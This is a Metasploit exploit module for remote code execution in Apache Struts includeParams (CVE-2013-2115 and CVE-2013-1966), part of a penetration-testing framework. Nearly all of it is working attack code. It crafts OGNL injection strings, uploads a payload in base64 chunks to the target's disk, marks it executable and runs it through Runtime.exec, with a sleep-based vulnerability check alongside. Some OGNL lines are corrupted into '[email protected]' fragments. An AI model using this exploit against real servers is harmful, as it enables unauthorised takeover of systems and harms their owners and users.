Apache Struts includeParams Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts includeParams Remote Code Execution',
        'Description' => %q{
          This module exploits a remote command execution vulnerability in Apache Struts
          versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
          arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
          When targeting an action which requires interaction through GET, the payload should
          be split, taking into account the URI limits. In this case, if the rendered JSP has
          more than one point of injection, it could result in payload corruption. This should
          happen only when the payload is larger than the URI length.
        },
        'Author' => [
          # This vulnerability was also discovered by unknown members of:
          #    'Coverity security Research Laboratory'
          #    'NSFOCUS Security Team'
          'Eric Kobrin', # Vulnerability Discovery
          'Douglas Rodrigues', # Vulnerability Discovery
          'Richard Hicks <scriptmonkey.blog[at]gmail.com>' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-2115'],
          [ 'CVE', '2013-1966'],
          [ 'OSVDB', '93645'],
          [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
          [ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
        ],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [
            'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
        'DisclosureDate' => '2013-05-24',
        'DefaultTarget' => 2,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('PARAMETER', [ true, 'The parameter to use for the exploit (does not have to be an expected one).', rand_text_alpha_lower(4)]),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', '/struts2-blank/example/HelloWorld.action']),
        OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST', 'POST', ['GET', 'POST']]),
        OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
      ]
    )
  end

  def execute_command(cmd, _opts = {})
    inject_string = @inject.gsub(/CMD/, cmd)
    uri = normalize_uri(target_uri.path)
    req_hash = { 'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
    case datastore['HTTPMETHOD']
    when 'POST'
      req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string } })
    when 'GET'
      req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string } })
    end

    # Display a nice "progress bar" instead of message spam
    case @notify_flag
    when 0
      print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
      @notify_flag = 1
    when 1
      print('.') # Progress dots
    when 2
      print_status('Payload upload complete')
    end

    return send_request_cgi(req_hash) # Used for check function.
  end

  def exploit
    # initialise some base vars
    @inject = '${#_memberAccess["allowStaticMethodAccess"]=true,CMD}'
    @java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
    # Set up generic values.
    @payload_exe = rand_text_alphanumeric(rand(4..7))
    pl_exe = generate_payload_exe
    append = false
    # Now arch specific...
    case target['Platform']
    when 'linux'
      @payload_exe = "/tmp/#{@payload_exe}"
      chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
    when 'java'
      @payload_exe << '.jar'
      pl_exe = payload.encoded_jar.pack
      exec_cmd = ''
      exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
      exec_cmd << '#q.setAccessible(true),#q.set(null,true),'
      exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
      exec_cmd << '#q.setAccessible(true),#q.set(null,false),'
      exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
      exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
      exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
      exec_cmd << 'null,new java.lang.Object[]{new java.lang.String[0]})'
    when 'win'
      @payload_exe = "./#{@payload_exe}.exe"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    print_status('Preparing payload...')
    # Now with all the arch specific stuff set, perform the upload.
    # Need to calculate amount to allocate for non-dynamic parts of the URL.
    # Fixed strings are tokens used for substitutions.
    append_length = append ? 'true'.length : 'false'.length # Gets around the boolean/string issue
    sub_from_chunk = append_length + (@java_upload_part_cmd.length - 'FILENAME'.length - 'APPEND'.length - 'BUFFER'.length)
    sub_from_chunk += (@inject.length - 'CMD'.length) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
    case datastore['HTTPMETHOD']
    when 'GET'
      chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
      # This lets us know the length remaining for our base64'd payloads
      chunk_length = ((chunk_length / 4).floor) * 3
    when 'POST'
      chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore.
    end
    @notify_flag = 0
    while pl_exe.length > chunk_length
      java_upload_part(pl_exe[0, chunk_length], @payload_exe, append)
      pl_exe = pl_exe[chunk_length, pl_exe.length - chunk_length]
      append = true
    end
    java_upload_part(pl_exe, @payload_exe, append)
    execute_command(chmod_cmd) if target['Platform'] == 'linux'
    print_line # new line character, after progress bar.
    @notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file.
    execute_command(exec_cmd)
    register_files_for_cleanup(@payload_exe)
  end

  def java_upload_part(part, filename, append = false)
    cmd = @java_upload_part_cmd.gsub(/FILENAME/, filename)
    append = append ? 'true' : 'false' # converted for the string replacement.
    cmd = cmd.gsub!(/APPEND/, append)
    cmd = cmd.gsub!(/BUFFER/, Rex::Text.encode_base64(part))
    execute_command(cmd)
  end

  def check
    # initialise some base vars
    @inject = '${#_memberAccess["allowStaticMethodAccess"]=true,CMD}'
    vprint_status('Performing Check...')
    sleep_time = datastore['CHECK_SLEEPTIME']
    check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
    t1 = Time.now
    vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
    response = execute_command(check_cmd)
    t2 = Time.now
    delta = t2 - t1

    if response.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif delta < sleep_time
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      return Exploit::CheckCode::Vulnerable('Successfully executed the injected code')
    end
  end
end